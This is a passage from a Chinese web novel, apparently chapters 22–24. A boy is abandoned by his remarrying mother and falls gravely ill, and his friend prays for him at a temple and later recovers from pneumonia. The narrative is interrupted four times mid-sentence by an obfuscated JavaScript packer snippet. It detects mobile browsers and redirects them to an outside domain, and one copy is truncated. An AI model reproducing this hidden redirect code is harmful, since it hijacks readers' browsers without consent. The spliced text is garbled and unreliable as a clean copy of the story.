花了好一会儿,他终于把纪天星的袜子脱下来了。纪天星的脚比脸还要白上好几层,在昏黄的灯下看,几乎带着一圈柔光。江晏觉得实在难以理解——那简直不像是人的皮肤,倒像是凝固的牛奶。但看到那血肉模糊的伤口,他不得不又一次深深地叹气:“你自己注意点,最近别沾水了。你看这脚后跟上头,踝骨,脚趾头……都没有好皮了,搞不好要落疤……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560917|165850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没事儿,反正在脚上。”纪天星蜷了蜷十个小小的脚趾,无所谓道:“没人看。” 江晏听了这话,一股无名火从心头窜上来。但这种气恼终究没有道理,所以他只是用力抿了抿唇,再开口又是淡淡的了:“上点儿药吧。” 他转身去卧室找药,翻出了一瓶双氧水和半管百多邦。 回来发现纪天星仍坐在那儿,正歪着头若有所思的看着自己。 “你不高兴了?”纪天星道。 “没。”江晏立刻否认。紧接着又解释:“蒋春生借的那个破冰刀质量也太差了。” “我就说嘛。”纪天星立刻道:“臭臭的。偏偏你们都不嫌弃。” “借来也不容易嘛,要领人家的情。”江晏低下头,给他擦药:“再说你不是玩得也挺高兴的么。” 伤口呼呼冒泡泡,纪天星立刻惨叫:“疼疼疼!!!” 江晏停了手,有点不知所措:“只有这个了……” 纪天星一扭头:“嗯嗯那你快点儿……” 江晏继续擦药。纪天星这回没吭声了,只是眉头皱得紧紧的。 擦完双氧水晾了一会儿,江晏把药膏给他小心地涂了上去。做完这些,他抬起头,发现纪天星趴在膝盖上,亮晶晶的眼睛正在看着自己。 “怎么了?” “你怎么什么都会啊。”纪天星小声道:“你会做饭,会上药,什么都知道……你好像我姥姥哦……” 江晏顿时感到十分别扭:“不是……我在你心里就不能像点儿别的么?” 纪天星嘟嘴:“那你觉得自己应该像什么啊?” 江晏毫不犹疑道:“叫哥。” “你怎么总想给人当哥。”纪天星不满道:“都说了多少次了,你才比我大半岁。” “那就叫爸爸。”江晏忽然起了玩心:“你选一个吧。” 纪天星不上他的当:“都不要,你占我便宜。”过了一会儿,他又小声道:“上次都叫过你一回小晏哥了,你还不知足……” 江晏一笑,不再坚持了。他刚打算把药收起来,突然想起了什么:“你把裤子挽上去。” 纪天星挽起裤子,发现两个膝盖也青紫了。再卷起衣袖,胳膊肘也是红肿的。他看向江晏,有点不好意思,又有一点顽皮地眨了眨眼睛:“嘿嘿……” 江晏无话可说,只得深深地叹了口气,又去屋子里找别的药给他。 擦好了药,两个人在炉灶前烤火,江晏时不时起身,往炉灶里填几根木头绊子。滴水成冰的季节,唯有拼命烧火,才能保持住房子里的温度。 窗子上白色的霜花已经比玻璃还厚了。隔着厚厚的冰霜,依然能感受到外头的寒冷与黑暗。纪天星伸手烤了一会儿火,突然没头没脑道:“你说……为什么会有人把骨灰盒放在江上呢?不是应该埋在墓地里么?” 因为奶奶的缘故,江晏对这些倒是很熟悉的:“不是所有骨灰都埋在墓地里,有的是直接撒在江里的。”他思索了一下:“大概是冬天没办法水葬,所以就想着把骨灰放在那里,开江的时候,让骨灰自己随水离开吧。” “那为什么不能等到开江时再去洒呢?”纪天星还是想不通。 “也许是因为寄存骨灰要花钱吧。”江晏摇摇头:“但随随便便放在冰上确实很离谱就是了。” 纪天星不知道想到了什么:“一个人在那里,好孤独啊。” 冬夜在炉火前聊这个,似乎也没什么不妥的。可是看着向来十分活泼的星星一脸认真地思索起这些,江晏总觉得有一丝说不出的不安。但他在这个话题上,好像又只能诚实作答:“人都是这样的,孤独来,孤独去。” 纪天星不说话了。过了一会儿,他搬起小马扎,往江晏身边贴得更紧了些。 江晏什么都没说,只是伸手搂住了他。 两个少年在炉火前偎依着,纪天星看着跳动的火光,突然没头没脑道:“以后要是我们能把墓地买在一起就好了。” 江晏微微一愣。 “不然邻居都不认识,怪讨厌的。”纪天星掰着手指:“姥姥,妈妈,你……李同顺不讲卫生,算了……”他一一数着身边的朋友,筛选着这个很久后的“计划”的参与者:“……反正大家都在一起,这样就不孤独了。” 这些话当然幼稚得很。但江晏想了想,又觉得那样听起来好像确实挺不错的。 他正琢磨着这个预想的可行性,纪天星家里的电话忽然响了。 纪天星立刻放弃了掰手指,跳起来去接电话。 江晏听着他热情洋溢道:“妈妈!你什么时候回来呀!” 22.隆冬天 3 纪天星从冬天盼到了又一个冬天,盼了一整年,就是盼着纪妙菲能回来——他几乎天天都在想她。 但电话里的纪妙菲对他的问题只是含混的说了一句:还没定下来。纪天星再怎么追问,她也始终是那一句:之后再说。 她经常讲“之后”,“过阵子”之类含糊其辞的话。“之后”就是“不知道多久之后”,而“不知道多久之后”到了最后又往往是不了了之。 纪天星很失落,却又不好把这种失落表达出来。时光过了一年,他也长大了一点,从电视上,报纸里,成年人的言谈中,知道了孤身在外的不容易。 他还想说些什么,可是纪妙菲得知何玉秋不在后,只是匆匆叮嘱了他两句“别感冒”之类的话,就把电话挂掉了。 江晏安慰他,说是春运的票本来就很难买,在外的人说不准什么时候回来,那也是正常的——因为实在不知道能买到哪一天的票。然后又和纪天星讲起了当年他父母为了进货挤火车的混乱状况——金宝珍从窗户爬进火车,江显声的皮鞋都挤没了。 纪天星想象了一下那样的场景,觉得确实又危险又混乱,于是对纪妙菲平安的希冀大过了失落,决定再耐心等等看。 不管怎么说,纪妙菲总会回来的。她舍不得丢下自己,就像当年宁可赔许多钱也要把自己从李进东身边带走一样。毕竟自己对她来说是举债也要夺回来的宝贝。 想通了这些,他就平静下来了,继续一天天地等待着母亲回来。 纪妙菲归期不定,汇款却如期而至。大概是因为快过年了,所以这个月她寄给何玉秋的钱格外多一些。姥姥虽然也有一点心事重重,还是拿出了三百块钱,准备给纪天星买自行车——她觉得男孩子越来越大,是渐渐要脸面的时候了,总蹭朋友的自行车坐,毕竟不是那么回事。 纪天星倒没觉得有什么,他坐江晏的自行车后座挺习惯了。但能有一辆属于自己的自行车,终究是一件很不错的事。 江晏自告奋勇,陪着纪天星去卖自行车的店铺看车。车子什么样的都有,纪天星有点挑花了眼。江晏提醒他不要选太漂亮惹眼的——很容易丢。安乐里每天都有丢自行车的。好几百块的车,总还是能骑得长久才好。 本地冬天因为冰雪封道的缘故,自行车算是销售淡季。难得有顾客,又是两个孩子,老板便舌绽莲花的大力推销,看上去打定主意要做成这桩生意。 纪天星左看右看,最中意一台橙黑相间的自行车。那台车跟江晏的车很像,高度稍微矮了一点,有漂亮的车铃,漆也上得十分完美。只是标价远远超过了预算。他留恋地抚摸了车把片刻,又转身去看其他的了。 没想到江晏拉住了他。 江晏对自行车仔细检查了一番,确认了这台车是全新的,然后就开始跟老板以一种令人胆寒的方式杀价——四百五十块的车,他直接杀到了一百五。老板立刻火冒三丈,可江晏丝毫不惧,他极有耐心地在那里磨人,从冬天没人买车,说到卖不掉的自行车疏于保养会配件生锈轮胎老化,又说起了现在渐渐流行骑新款车,这种老款车马上要淘汰了云云……总之就是劝老板见好就收尽快清库存,不然可能真的要赔得底朝上。 纪天星开始还十分认真地听着,后来渐渐困了,撑不住蹲在了地上。 但江晏完全没有要走的意思。他的大手按在自行车把上,半步不退的在那里跟老板碎碎念,不管老板是发火还是撵人,他都没有放弃的意思。 最后硬是磨到两百六十块成交,还附带开了一年的保修票据。 老板以一种送瘟神的态度把他们送出了店铺。 出了门,一直板着脸挑自行车毛病的江晏终于露出了一点笑意。纪天星心里多少有一点愧疚:“他说他赔大了。” “你听他胡讲。”江晏不以为然:“做生意,赚了也要说赔了。真赔了就不吭声了。你没看我们刚进门时他那副样子,摆明了看我们年纪小想宰人。他生气,只是因为算盘落空罢了。这车是老款,快淘汰了。但车看着很新,大概是拿的那家的库底货,进价不会太高的。” “我都看不出来。”纪天星按了按车铃,车铃清脆:“瞧着挺好的啊。我好喜欢这个颜色。” “是挺好的。”江晏摸了摸焊接线的位置:“做工很细。”他们把车推到不远处的街心小公园里,江晏道:“你上来试试!” 纪天星骑上去,江晏在后头帮他扶着车座,过了一会儿见他骑稳了,便松了手。纪天星骑了一圈儿又一圈,在寒风中快乐地按着车铃笑起来,冲江晏道:“你上来呀!” “我不了。”江晏也笑:“你带不动我。” “试试嘛。”纪天星坚持。 于是江晏跨到后座上。自行车果然慢下来,纪天星非常努力地蹬了几下,很快就蹬不动了。他看了一眼无奈微笑的江晏,坚持道:“肯定是脚踏太紧了!” 江晏笑着揉了揉他的脑袋。 两个人在小公园试了好一会儿车,确认车子状况非常完美。江晏又带着纪天星去买了车锁,挑的是最结实的那种,讲完价还花了二十块钱。 买完了这些,何玉秋给的钱仍然还有剩。纪天星和江晏回去的路上,经过卖粉肠的店铺,又买了姥姥爱吃的熏粉肠和五香鹌鹑蛋。新做的粉肠热气腾腾,香味一直往人脸上扑,他忍不住偷偷先吃了半根,还诚邀江晏也来吃。被江晏哭笑不得地拒绝了。 这样开开心心的回了大院儿,把新车子仔细在楼下锁好,两个孩子轻快地上了楼。 何玉秋正背对着家门在打电话,没听见门口的动静。纪天星把手指在唇前一竖,悄悄开了门。 两个孩子轻手轻脚地进门,却听见姥姥很生气地在那里和电话里的人争吵:“……这是什么道理?这没有道理!哪里也没有这样办事的!” 她讲话向来是温声细语的,最和气不过的一个人,这样动了火气,是很不寻常的。 纪天星忍不住屏息,心跟着坠了下去——能让姥姥这样的,只有一个人,就是纪妙菲。 纪妙菲在电话里的声音模糊不清,姥姥却是真的气极了:“……好,我不是拦着你,我哪里拦得住……你向来主意大得很……但这事是不是匆忙得有点不对头!至少要上门提亲吧!李进东和你扯证前好歹还来家里吃过一顿饭呢!我们是正经人家!二婚怎么了!二婚也不能糊弄啊……这么大的事!哪有这么不清不楚的!” 电话里的声音也提高了,是纪妙菲的针锋相对:“你不懂,这边结婚都是要请人算好日子的,错过了就要再等五年……五年有什么变数,谁也说不准……妈,我三十了,知道自己在做什么!老陈家里条件不比李进东差,这糟心日子我过够了!我就想有吃有穿,那有什么错!你总不希望你闺女一辈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15572433|165850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子陪人喝酒唱歌,低三下四地求订单吧!你一辈子没出过老家,哪里知道人在外头的苦!” 何玉秋说不出话了。 纪天星无声地走过去。 电话里的纪妙菲喘息了几声,声音低下去:“反正这事儿就这么定了。等办完婚礼,我就是陈太太。你也不用外出打工了,星星将来的生活费学费什么的,也都有着落了……你俩在老家好好的,我就能安心了……老陈说了,给你出钱买飞机票,你到时候来一趟……星星就托人先照看几天……” “托人……”何玉秋低声道:“你什么意思?” “…………我……我不能带着他改嫁。”纪妙菲停顿了一下,慢慢道:“老陈不让。” 纪天星轻轻道:“她是不要我了么?” 何玉秋吓了一跳:“星星?” 纪天星一把从姥姥手里抢过电话,声音轻柔平稳:“妈,你说,你是不要我了么?” 电话那头的纪妙菲沉默着。 “你说话!”纪天星猝然尖叫起来:“你说!你是不是不要我了!” “你懂事一点!”纪妙菲的声音也提高了:“妈妈有妈妈的难处!”她顿了顿:“你往后就在老家,跟着姥姥……妈妈每个月都给你汇钱……” “我不要钱,我要你。”纪天星哑声道:“你要不要我?你说。” “乖宝……”纪妙菲的声音缓和下去:“妈妈也是没办法……这样你也不用面对后爸了,是不是?姥姥往后会照顾你的……” “你不要我了。”纪天星的声音低下去,笃定道:“你这是真的不要我了。” “星星……” “那我也不要你了。”纪天星说完,狠狠地把听筒扣下,转头向外奔去。 江上吹来的风那么硬那么冷,他顶着风狂奔,渐渐什么都感受不到了。只有一团火,一团愤怒的火,在他五脏六腑中灼烧。 我也不要她!他咬牙切齿地对自己说。 没什么大不了! 她不要我,我也不要她! 他一直一直这样奔跑着,直到前头再也没有路了。 冬日冰封的白色大江横亘在眼前,辽阔渺远,不知道通向何方。 江晏是在江堤下头找到纪天星的。 冬日江边的石阶像冰一样冷,纪天星小小地蜷缩在台阶上,抱着膝盖,不知道在想些什么。身侧是一滩已经结冰的呕吐物,刚吃过的粉肠碎片还在里头。 江晏轻手轻脚地走过去:“星星?” 纪天星回过头来。 江晏悚然一惊。星星的脸蛋苍白得和江面一样,嘴唇也毫无血色,只有眼睛红得像烧炭,却一滴泪水都没有。 他没有哭,只是用一种仇恨而空洞的眼神看着江晏。 江晏握住了他的手,发现那一向热乎乎的小手竟然冷得像冰。 “我们回去吧。”江晏定了定神,柔声道:“外头太冷了……姥姥着急死了。”他摘下了自己的帽子,小心地戴在了纪天星头上:“好不好?” “……她不要我了。”纪天星收回目光,漠然道。 江晏搂住了他:“星星……” “我也不要她。”纪天星目光空洞,一字一顿道:“从今往后,我就没有这个妈了。” 他挣开江晏起身,望向冰封的江面,片刻后,无声无息地倒了下去。 23.隆冬天 4 纪天星病了。 起初看着似乎也没什么。江晏背他回家的路上,他就醒了,只是不讲话,脸上一副小孩子生闷气的模样。回了家也不肯吃饭,恹恹地说要睡觉。何玉秋只当他是气性大,宽慰了一阵子,发现他已经睡着了,便由着他睡了。 哪知道这一觉睡到天黑也没醒。何玉秋再去看,发现他额头滚烫,是发起烧来了。 冬天没戴帽子跑出去,一时受了风寒,生病似乎也是不可避免的。人大喜大悲,急火攻心,突然感冒发烧那也不鲜见。 于是就当作感冒来治了,大晚上背着他,去诊所打退烧针。 哪知道连着打了两针,纪天星的高烧不退反升,人也丝毫没有要醒来的意思。何玉秋这时便有些慌了,又叫了车,把人往大医院送。没想到纪天星刚一到那里就被扣下,留在病房住院了。 纪天星住院第五天的时候,江晏又一次过去看他,他仍然没有醒来。 他的状况恶化得太快,心肺都已经开始衰竭,凝血也很差。医院查不出病因,只能把人先送进icu。 医生与何玉秋在icu门外交代病情,说血压掉得太快了,目前只能靠升压药维持,应该有个心理准备,赶紧通知孩子爸妈过来见一见了。 何玉秋问这到底是什么病呢?医生说之前怀疑过脑炎和脓毒血症,也怀疑过血液病,但做了相关的筛查,又没有查出什么。医院已经尽力了,但有时候就是这样,医疗水平所限,不是所有的病都能查出一个确切的病因……先把病危通知书签了吧。 何玉秋握着纸笔,惶然无措,说怎么就这样了呢,前几天还好好的……我们能不能申请转院,往上级医院送?孩子以前身体很好的,从生下来就没闹过什么病…… 江晏听不懂那些专业术语,但也知道那意味着什么。 他隔着玻璃往里看。 病床上的纪天星小小的,看起来比平时更小。持续的高烧让他脸上的肉迅速消失了,只剩下皮贴着骨。被子,仪器和点滴架包围着他,乍一眼望去,好像一个很小的白瓷头颅被摆在床上,没有一丝生气。 市医院的内科病房很安静,病房里到处都是仪器和管线,每张床上都躺着一个重病的人。但那些人毕竟都是成年人了。纪天星小小的脑袋出现在他们中间,就显得特别突兀。 黄泉路上无老少。江晏是明白的。生住异灭,诸行无常,纪天星再怎样好,也只是众生中的一个。他出现在自己的生活中时,是从天而降的,那么他要离去,上天也不必给出什么预兆。 老天不讲什么对与错,老天也不讲什么是与非,一切都只是无常罢了。 无常,无常…… 江晏在心里念着,感觉有什么在他胸膛里像潮水一样涌着,强烈而无处可去,只是像漩涡一样不停吸绞着他的心脏。他静静地在那里站了好一会儿,突然意识到原来那就是恨意。 他恨这样的老天。 护士过来撵人,江晏一言不发地转身走了。 何玉秋在护士台前哭着打电话。他走过去,没有停留。出了医院,外头天已经全然黑了,北风锐得像刀子,一下下割人的脸。 江晏径自骑上自行车,在这样的冬夜中一路骑行,往庙里去了。 纪天星刚住院的时候,恰逢寺院里一位老居士病重,赵秀英过来探望。当然人老了,终有那么一天,明白人会惦记着安排身后事。赵秀英业务对口,探望是探望,揽生意也是揽生意。 没想到撞到了同样来医院探病的江晏。因为江家和纪家有那么一点远得近似于无的亲戚关系,赵秀英便理所当然地与何玉秋攀谈起来。听说孩子是突然病重,便试探着说可能是撞邪,建议请个“看事儿”的帮忙瞅瞅。 何玉秋对这些谈不上信与不信,只是向来不接触。但纪天星突然病了,她六神无主,想着什么办法都试试,那也是好的。医院离不开人,于是她托了赵秀英去办这件事——当然也是付了钱的。 然后就没再问过,也无暇去问。纪天星的病飞快地加重,何玉秋天天在医院以泪洗面,想必早就忘了还有这么一码事。 江晏却没忘,因为是他跟着赵秀英,拿了纪天星的八字去给人看的。 看事儿的究竟可不可信,他也不知道。普通的居民楼,普通的老太太,只是家里供着胡三太奶的像,烟雾缭绕的。对方拿了纪天星的八字,煞有介事地说这不就是童子命么,都不用过阴,一眼就看出来了。已经走本命年的运了,这关可难过,够呛了。 赵秀英赶紧堆着笑,问怎么化解,孩子还这么小呢。 做做法事,送送替身吧。对方就这么一句。 法事是江晏看着做的。寺庙后头有个烧祭品的石砖台子,大半夜的,找了两个相熟的居士帮忙,把金元宝黄纸钱之类的堆上去。当然最重要的是那个作为替身的纸人。 赵秀英给它胸前贴了纪天星的生辰八字,脖子上挂了小荷包——里头是纪天星的头发和一块吐血时换下来的床单布。 纸人和纪天星一样高,是后街纸扎店里最普通的那种,有个人形,没个人样。可以看出来纸扎师傅已经很尽力地把它扎得好看了,但再怎样它毕竟也只是个纸人。 这么丑,能骗过阎王爷么。江晏那时黯淡地想。 纸人烧过了,纪天星的病情并没有好转。虽然是前天夜里才烧的,赵秀英安慰说没有那么快,但江晏就是从心里觉得,那根本不管用。 果然啊,骗不过就是骗不过。他在寒风和黑暗中用力蹬着车,默默地想。 当然赵秀英老早就把丑话讲在前头了:所谓“做法事”之类的,无非就是替人家求个心安。真要是人走了,那其实也没什么。黄泉路上无老少,老天要收人,谁能有法子呢?吃口东西都有噎死的呢。 当然她说的全没一点儿错。可江晏就是生出了一股怨气。因为他知道,对奶奶来说,这就是一桩生意。她是吃这碗饭的,同情是真的同情,但同情是很有限的——因为见的实在太多了。求人的人事成了,皆大欢喜;成不了,她也有一万种说辞去安抚对方。 可惜她的一万种说辞无法安抚江晏。 想想也是古怪,他和赵秀英一样见惯了生死,自认为把所有的事都看得很开。这世上没什么是他想要的,因为他对一切都没什么执着,都行,都好,都可以……他向来冷眼注视世上发生的一切大事小事,哪怕明天轮到自己去死,也能只是叹一口气就全然接受…… 纪天星要离开,他其实也接受。有什么不能接受的呢?人人都要死,或早或晚。可他好像就是没办法全然平静地看着这件事发生。 隆冬的夜晚并不算安静。凛冽的风吹起雪雾,像某种动物的嚎叫。从人民医院往慈云寺去,路越走越黑,几乎看不见什么行人,连车也稀少。地上的冰疙瘩倒是实实在在的,时不时就要颠上一下。 江晏做好了摔车的准备,但一路上骑过去居然很顺畅,除了北风,他连一个红灯都没遇上。 夜晚的慈云寺很静,连屋檐都隐没在阴影中。后院的角门已经上了锁,江晏把车一丢,扒住墙头两下翻了进去。 烧纸人的台子还在那儿,上头是厚厚的灰烬。看见它,江晏就想起那天纸人在火光里飞速消失的样子。说是法事,其实一切都潦草得不得了,金元宝连着塑料口袋一起烧,黑色的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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江晏从后院走了一大圈到前院,又从前院走了一大圈回到后院。他说不清自己在干什么,就像他经常饿了也不吃饭,累了也不停打拳……他不抱任何目的,只是明知很冷,很痛,但出于一种奇异的惯性,他下意识就是要这么做,而且根本无法停下来。 他不抱希望地再一次去推某座偏殿的门,没想到这一回门锁脱落,殿门在寒风中豁然洞开。 江晏有些怔然地拾起锁,发现那把老旧的锁头不知道为什么平整地断做了两截。 他抬头看了一眼,是地藏殿。 菩萨在昏暗的月光下面容慈悲,他静默半晌,心里忽然涌起了一股狡狯的希望。 江晏找到打火机点了香,然后迫不及待地跪下去。 让星星的病痛和灾厄都落在我身上。江晏毫不犹豫地求。我来代他受。 这话刚说完,一根香就断了。 江晏不死心,把香丢进香炉,又重新点了三注香,再求。 你让星星活下来,他恳求道,往后我每个月都给你捐好多香火钱。 外头的冷风猛然吹进来,香又断了,这次断得更多,三注香头全落在蒲团上,烧出了小小的黑洞。 江晏伸手扑灭了火星,跪在蒲团上发起了呆。 不对。他慢慢地想。是我错了。 菩萨不欠他,没道理无端实现他的愿望。这里的菩萨也不缺香火钱……他得拿出更有价值的东西,能让菩萨觉得帮他一次不亏……他要和菩萨谈一谈条件。 江晏思索良久,重新点了香,在心中慎重地开口。 菩萨菩萨,若是你能让星星度过这次灾厄,往后一生平安康健,我愿意今生尽我所能,让众生衣食无忧。 这一次香没有断,江晏把它们平安地插在了香炉里。 寒风呼啸着往大殿里灌,江晏笔直地跪在那儿,盯着那三柱香。香头上三个红点,一路不慌不忙地往下,稳稳当当。 江晏一直看着香,直到它们燃尽,他终于起身关上殿门,把断锁重新挂上去,悄然离开了。 24.隆冬天 5 纪天星的病没有再恶化下去。江晏从庙里回来的第二天,正好有个上级专家临时过来市医院开会,内科的医生把专家请来会诊,在对方的建议下试着上了抗真菌的药,没想到居然真的有效。但直到纪天星康复出院,他感染的到底是哪一种真菌,检验科始终都没有查明白。好在结果是好的,这些没有答案的疑问,似乎也就不再重要了——这些都是后话了。 眼下江晏一个人靠在呼吸科的病床上打点滴,手上是一叠早上从病房门口买来的报纸——晨报,晚报,参考消息,可以说是能买到的日报都在了。他耐心地翻着报纸消磨时间,一字不落地看过那上头的信息,从本地花边新闻,每日连载小说,到商铺租售挂牌——报纸厚厚一叠,上头什么都有,他看得津津有味。偶尔觉得累了,就抬头看一眼窗外。 外头下轻雪了,马上就是除夕,街巷里已经有了零星的鞭炮声。可惜他今年不能回姥姥家过年了。 从庙里回来的那天夜里,江晏在住院处找了张空的行军床随意睡下,第二天睁开眼,头重脚轻,自己摸额头都能摸到一手的滚烫。呼吸科的医生说他是典型的大叶性肺炎,拿听诊器慎重仔细地听了一通,当即拍板留他住院挂水了。 金宝珍闻讯赶来,不出所料地站在床头对江晏破口大骂,主旨就是他一天到晚不知道在乱跑些什么,半点忙帮不上,净给家长添麻烦,还不如死了算了——“死了算了”是这大半年来经常从她嘴里冒出来的诅咒,江晏和江显声都是这诅咒的承受者。她毫无避讳,骂得鲜血淋漓,惹得周围的病人和家属都来劝说。这边还没有劝完,江显声也赶到了,以冷嘲热讽的方式把金宝珍的意思又重复了一遍——这对冤孽夫妻,在某些时候说话做事出奇地同步。 年轻的护士气得差点儿把他们轰出病房,转头还略带愧疚地跟江晏说,他昏倒在配药房前的塑料椅子上,大家翻他钱包,只翻到了烟酒行的名片。 江晏毫不在意地笑笑,温声细语地道谢,说给你们添麻烦了,我爸妈有时候脾气确实不怎么好,真是十分抱歉。于是护士看他的目光越发同情了些。 江晏身体底子好,一个大叶性肺炎,要不了他的命。检查做完了,每天就只是躺在床上打打点滴,吃吃药。比起自己病,他更惦记纪天星,所幸纪天星正在一天天好起来,那他也就没什么可焦心的了。挨骂之类的,都是轻飘飘的小事。 江显声来看过他两次,两次都是袖着两手站在那里训话,说江晏老大不小了还不懂得好好照顾自己,生病也算是长长记性。江晏心平气和说是呀是呀,你忙你的吧,正好让我自己学着照顾一下自己,年关这么忙,别耽误了正事。于是江显声立刻就坡下驴地再也不来了。 打发掉了江显声,江晏劝金宝珍也不要来了——因为来了无非也就是一脸怨气地打电话,要么就是骂人,骂江晏偏挑年关自己忙得要死的时候生病,骂江显声不是人,骂客户事儿多……当然骂得最多的是赵秀英,说老神婆不带好头,天天带孙子和要死的人打交道——江晏知道她肯定给赵秀英打过电话,赵秀英大概是和她提了一点纪天星的事。然后当然金宝珍也顺路把纪天星还有何玉秋都骂了个遍——哪怕纪天星病情好一点之后,何玉秋专程来看过江晏,还给他带了自己做的饭。 江晏在金宝珍滔滔不绝的骂声中沉默许久,还是轻轻地辩解了一句:那是我朋友。 “知道的说是朋友,不知道以为是你祖宗呢!你老娘要死的时候你能有这份孝心么?” 江晏没说话。他平静甚至有些悠然地想,确实,还真不一定。 大致来说,他认为自己是爱金宝珍的,他也不得不爱,因为这是他亲妈。但他可以肯定,自己绝对不喜欢金宝珍。虽然金宝珍不发火时对他算得上好。 没人会喜欢一个动不动就对自己破口大骂的人,哪怕这个人是自己亲妈。 其实金宝珍在客户面前并不这样。她能说会道,八面玲珑,是那种人们印象里完美老板娘的样子。甚至现在她在医院碰见江显声,都能压着脾气仅仅阴阳怪气几句。她只是把暴戾和刻薄都留给了江晏。 江晏思考过为什么会如此……大概是因为方便,且没什么后果。 自己是她生的,衣食住行都仰仗着她,不会像江显声那样不受控制地离她而去——世上大概没有比这更安全的出气筒了。 其实以前江显声还没摊牌时,金宝珍虽然脾气不好,总算大部分时间还挺正常。可惜自从江显声公然和谢小芸同居,她面对江晏几乎就再也没有心平气和的时候了。 江晏也不大在乎,他已经习惯了。江显声不回家,他没了棍棒和鸡毛掸子的威胁,心底是很轻快的。而金宝珍的威力说到底只有言语和巴掌,相比之下要温柔得多了。 于是他做出懂事听话知错能改的样子,把金宝珍也哄走了。医院里彻底只剩自己,江晏悠哉悠哉地像周围的老头老太太一样看报纸,日子过得还算清净。 护士和医生跑进来,又把对床推去抢救了。那是个年纪很大的老爷子,两天已经抢救三回了。家属憔悴不堪,急急忙忙地跟在后头。 人推走了,旁边病友们在那里低低聊起了求神拜佛的事。大概对面那家人也没少去求。有的摇头说迷信没用,有的不同意,说这玩意儿分人。总之到底如何,谁也说不清楚,只能得出“这事儿可玄了”之类的结论。 江晏放下报纸,望向窗外。周遭咳嗽声嘈杂,他没由来地又一次想起金宝珍的骂声,陷入了思索。 为什么他愿意为星星去竭尽全力地求一个希望,却对母亲这样漠然呢。金宝珍无疑是关心他的,不管她嘴上说了什么,她总归是他母亲。 星星却只是一个朋友。 人有亲疏远近。按常理来说,父母似乎总是应该比朋友重要的。 抛开这点不提,他愿意竭尽全力地对纪天星好,却也认定了纪天星未必会同样待他。人就是这样,不对等几乎存在于所有的关系里。两个人关系再好,总也是有一方心意重些,另一方心意轻些。 这个念头明明让江晏有几分怅然,却又不觉得有丝毫后悔。这也挺怪的,因为他就是很甘心做这件事,做过了心里格外踏实。他甚至不需要纪天星知道这些。 为什么呢?大概说到底他不是为了纪天星,只是为了自己。 想到这里,他笑了一下,感觉心里通明极了。 不管怎么说,纪天星总算平安了。至于自己发下的那个愿……往后多做点好事吧…… 江晏懒懒地靠在床头,有一搭没一搭地思索着这些事。 冷不丁病房门口传来诧异的声音:“这谁家小孩……” 江晏下意识转头,看见一个戴着口罩的小脑袋扒在门框上,往病房里探头探脑地张望。 “星星……”他喃喃道,心底不知道为什么冒出了一点奇异的心虚感——就好像他刚刚所思所想都被纪天星知道了一般。 纪天星也看见了他,像小炮弹一样直奔而来:“江晏江晏!” 江晏下意识张开手想要接住他,纪天星却在他床头猛地刹住了:“我来啦!” 江晏张了张嘴,一个字都没说出来。 纪天星瘦了许多,本来就很大眼睛这会儿看着更大了。但他的双眼亮闪闪的,丝毫看不出前些天还在重症监护室里人事不省地躺着,只有外套里头露出来的条纹病号服,显示了他仍是这里的病人。 他看看江晏,又看看头顶的点滴瓶,噼里啪啦道:“我好想你……你怎么也住院啦?” “……天冷,不小心感冒了。”江晏稳了稳心神,瞥见他手上的留置针:“怎么跑这儿来了。这边呼吸科,都是感冒的……别传染给你。” “没事儿,我戴口罩了呀。”纪天星在他身边坐下,把沉重的布兜子往江晏床头柜上咚地一放:“姥姥和我说了,你总来看我,感冒肯定是在医院被人传染的……我想来看你,可他们都不许……昨天抽了血,今天医生终于同意我出来啦!” 江晏打量着他,轻声道:“你现在感觉怎么样了?” “什么事也没有啊。”纪天星有些困惑:“我感觉自己就是睡了一觉。不过姥姥说我病得很厉害,她都签病危通知书了。”他声音小了一点:“姥姥瘦了好多……你也是……”他低头看见江晏打点滴的手,小心地握了上去:“你手怎么这么凉啊……” 纪天星的手又是热乎乎的了。江晏轻轻呼出一口气,脸上有了一点笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615925|165850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意:“打点滴打的,那个药水是凉的呀。” “哦。那你点慢一点呀!不然刺激血管多难受呀。”纪天星说着,拉过点滴管,小心地调了调,看起来很熟练的样子。 “不得了。”江晏忍不住逗他:“你还会调这个?你姥姥说你打从生下来就没进过医院……” “这次不是进了么。”纪天星嘟嘴:“再说这有什么难的,我现在什么都会,我还会换那个点滴药瓶呢。” 